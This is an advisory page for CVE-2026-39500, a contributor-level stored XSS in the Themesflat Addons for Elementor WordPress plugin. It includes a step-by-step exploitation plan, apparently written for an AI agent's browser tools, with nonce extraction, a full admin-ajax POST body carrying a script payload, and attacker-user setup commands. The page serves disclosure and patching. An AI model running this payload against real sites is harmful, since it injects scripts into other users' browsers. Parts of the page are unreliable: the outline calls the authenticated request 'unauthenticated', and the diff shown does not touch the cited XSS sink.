CVE-2026-39500

themesflat-addons-for-elementor <= 2.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.3.3
Patched in
24d
Time to patch

Description

The themesflat-addons-for-elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.2
PublishedMarch 23, 2026
Last updatedApril 15, 2026

What Changed in the Fix

Changes introduced in v2.3.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39500 ## 1. Vulnerability Summary The **Themesflat Addons For Elementor** plugin (up to v2.3.2) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin registers various Elementor widgets (e.g., `tfacco…

Show full research plan

Exploitation Research Plan: CVE-2026-39500

1. Vulnerability Summary

The Themesflat Addons For Elementor plugin (up to v2.3.2) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin registers various Elementor widgets (e.g., tfaccordion, tf-imagebox) but fails to sanitize or escape user-provided settings/parameters in the render() method of these widgets.

An attacker with Contributor-level permissions (who can create/edit posts using Elementor) can inject arbitrary JavaScript into a widget's control fields (like titles, content, or links). When the page is rendered for any visitor (including administrators), the script executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (via Elementor's save_builder_data action).
  • Vulnerable Action: elementor_ajax.
  • Vulnerable Parameter: The settings object within the _elementor_data post meta, specifically fields like list_title or list_content in the tfaccordion widget.
  • Authentication: Contributor+ (Authenticated).
  • Preconditions:
    1. Elementor plugin must be active.
    2. Attacker must have credentials for a user with the edit_posts capability.

3. Code Flow

  1. Registration: The plugin registers widgets in ThemesFlat_Addon_For_Elementor_Free::init_widgets (hooked to elementor/widgets/register).
  2. Widget Definition: In widgets/widget-accordion.php, the class TFAccordion_Widget_Free defines controls via register_controls().
    • A repeater field is created: $repeater = new \Elementor\Repeater();.
    • The list_title control is added: $repeater->add_control( 'list_title', [...] );.
  3. Storage: When a Contributor saves an Elementor page, the data is sent to admin-ajax.php and stored in the database as a JSON-encoded string in the _elementor_data post meta key.
  4. Sink (Rendering): The render() method (found in widgets/widget-accordion.php, though truncated in source) retrieves these settings via $this->get_settings_for_display(). It then iterates through the repeater items and outputs them.
    • Vulnerable Pattern: echo $item['list_title']; instead of echo esc_html($item['list_title']);.

4. Nonce Acquisition Strategy

Elementor uses its own nonce system for AJAX saves. To obtain a valid nonce as a Contributor:

  1. Create a Post: Create a standard post/page first to get a valid post_id.
  2. Open Editor: Navigate the browser to the Elementor editor URL for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor.
  3. Extract Nonce: The nonce required for elementor_ajax is stored in the global JavaScript object elementorCommonConfig.
  4. JavaScript Extraction:
    • Variable: window.elementorCommonConfig.ajax.nonce
    • Alternative: window.elementorConfig.ajax.nonce (depending on Elementor version).

5. Exploitation Strategy

Step 1: Authentication & Setup

  1. Login as a Contributor user.
  2. Identify a target post ID or create a new one.

Step 2: Extract Elementor Nonce

Use the browser_navigate and browser_eval tools:

  • Navigate to: http://[TARGET]/wp-admin/post.php?post=[ID]&action=elementor
  • Execute: browser_eval("window.elementorCommonConfig.ajax.nonce")

Step 3: Inject Stored XSS

Send an HTTP POST request to admin-ajax.php to update the post's builder data.

  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: elementor_ajax
    • _nonce: [EXTRACTED_NONCE]
    • actions: A JSON object containing the save command:
      {
        "save_builder_data": {
          "action": "save_builder_data",
          "data": {
            "status": "publish",
            "elements": [
              {
                "id": "exploit-id",
                "elType": "widget",
                "widgetType": "tfaccordion",
                "settings": {
                  "list": [
                    {
                      "list_title": "<script>alert(document.domain)</script>",
                      "list_content": "Vulnerable Content",
                      "set_active": "active"
                    }
                  ]
                }
              }
            ]
          }
        }
      }
      
    • post_id: [POST_ID]

Step 4: Trigger Execution

Navigate to the frontend URL of the post (/?p=[POST_ID]). The script in list_title will execute.

6. Test Data Setup

  1. Plugin Version: Ensure themesflat-addons-for-elementor version is 2.3.2.
  2. Contributor User:
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Target Post:
    • wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_author=[ATTACKER_ID]
  4. Note: Elementor must have "Post" enabled in its settings (default) to edit this post.

7. Expected Results

  • The admin-ajax.php request should return a 200 OK with a JSON response containing "success":true.
  • Upon visiting the post frontend, an alert box showing the document domain should appear.
  • The HTML source of the page will contain the raw payload: <div class="title">...<script>alert(document.domain)</script>...</div>.

8. Verification Steps

  1. Check Database: Use WP-CLI to inspect the stored meta:
    • wp post meta get [POST_ID] _elementor_data
    • Verify the JSON contains the <script> payload.
  2. Verify Frontend Output:
    • curl -s "http://[TARGET]/?p=[POST_ID]" | grep "<script>alert"
    • Confirm the output is NOT escaped (e.g., NOT &lt;script&gt;).

9. Alternative Approaches

  • Widget Variation: If tfaccordion is patched or unavailable, target the tf-imagebox widget (Image Box).
    • Vulnerable field in tf-imagebox: title_text.
    • widgetType: tf-imagebox.
  • Bypass Nonce: If the Elementor AJAX nonce is difficult to retrieve, a Contributor can try to inject the payload via the standard save_post hook by sending the _elementor_data parameter in a regular post update request (post.php), although Elementor often requires its own editor hooks to update this specific meta key.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Themesflat Addons For Elementor plugin (up to v2.3.2) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). This occurs because the plugin's Elementor widgets, such as the Accordion and Image Box, fail to sanitize and escape user-provided settings like titles and content in their render methods, allowing contributors to execute scripts in other users' browsers.

Vulnerable Code

// widgets/widget-accordion.php

// Control registration
$repeater->add_control( 'list_title', [
    'label' => esc_html__( 'Nav text', 'themesflat-addons-for-elementor' ),
    'type' => \Elementor\Controls_Manager::TEXT,
    'default' => esc_html__( 'Accordion Title', 'themesflat-addons-for-elementor' ),
    'placeholder' => esc_html__( 'Type your title here', 'themesflat-addons-for-elementor' ),
] );

---

// widgets/widget-accordion.php (inferred sink in render method)
protected function render() {
    $settings = $this->get_settings_for_display();
    if ( $settings['list'] ) {
        foreach ( $settings['list'] as $index => $item ) {
            // ... (truncated)
            echo $item['list_title']; // Vulnerable: Output not escaped
        }
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/themesflat-addons-for-elementor/2.3.2/themesflat-addons-for-elementor.php /home/deploy/wp-safety.org/data/plugin-versions/themesflat-addons-for-elementor/2.3.3/themesflat-addons-for-elementor.php
--- /home/deploy/wp-safety.org/data/plugin-versions/themesflat-addons-for-elementor/2.3.2/themesflat-addons-for-elementor.php	2025-12-18 08:20:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/themesflat-addons-for-elementor/2.3.3/themesflat-addons-for-elementor.php	2026-03-13 02:38:20.000000000 +0000
@@ -4,13 +4,13 @@
 Description: The theme's components
 Author: Themesflat
 Author URI: http://themesflat-addons.com/
-Version: 2.3.2
+Version: 2.3.3
 Text Domain: themesflat-addons-for-elementor
 Domain Path: /languages
 
-WC tested up to: 10.4
-Elementor tested up to: 3.33
-Elementor Pro tested up to: 3.33
+WC tested up to: 10.6
+Elementor tested up to: 3.35
+Elementor Pro tested up to: 3.35
 
 License: GPLv2 or later
 License URI: https://www.gnu.org/licenses/gpl-2.0.html
@@ -1854,11 +1741,15 @@
         }
 
         public function get_posts_by_conditions( $post_type, $option ) {
-            global $wpdb;
-            global $post;
+            global $wpdb, $post;
 
-            $post_type = $post_type ? esc_sql( $post_type ) : esc_sql( $post->post_type );
+            // fallback post_type
+            $post_type = $post_type ? sanitize_key( $post_type ) : ( isset( $post->post_type ) ? sanitize_key( $post->post_type ) : '' );
+            if ( empty( $post_type ) ) {
+                return [];
+            }
 
+            // cache
             if ( is_array( self::$current_page_data ) && isset( self::$current_page_data[ $post_type ] ) ) {
                 return apply_filters( 'tfhf_get_display_posts_by_conditions', self::$current_page_data[ $post_type ], $post_type );
             }
@@ -1867,99 +1758,130 @@
 
             self::$current_page_data[ $post_type ] = array();
 
-            $option['current_post_id'] = self::$current_page_data['ID'];
+            // meta option post (giữ nguyên logic cũ)
+            $option['current_post_id'] = isset( self::$current_page_data['ID'] ) ? self::$current_page_data['ID'] : false;
             $meta_header               = self::get_meta_option_post( $post_type, $option );
 
             if ( false === $meta_header ) {
-
-                $current_post_type = esc_sql( get_post_type() );
+                $current_post_type = sanitize_key( get_post_type() );

Exploit Outline

The exploit is carried out by an authenticated user with Contributor-level permissions (the `edit_posts` capability). First, the attacker logs into the WordPress dashboard and identifies a post they can edit with Elementor. They then extract a valid Elementor AJAX nonce, typically found in the global `elementorCommonConfig` JavaScript object within the editor. Using this nonce, the attacker sends an unauthenticated `POST` request to `wp-admin/admin-ajax.php` with the action `elementor_ajax` and the `save_builder_data` command. The payload is placed inside the `settings` object of a widget (e.g., `tfaccordion` or `tf-imagebox`), specifically in fields like `list_title`. When any user, including an administrator, views the published post, the injected script executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.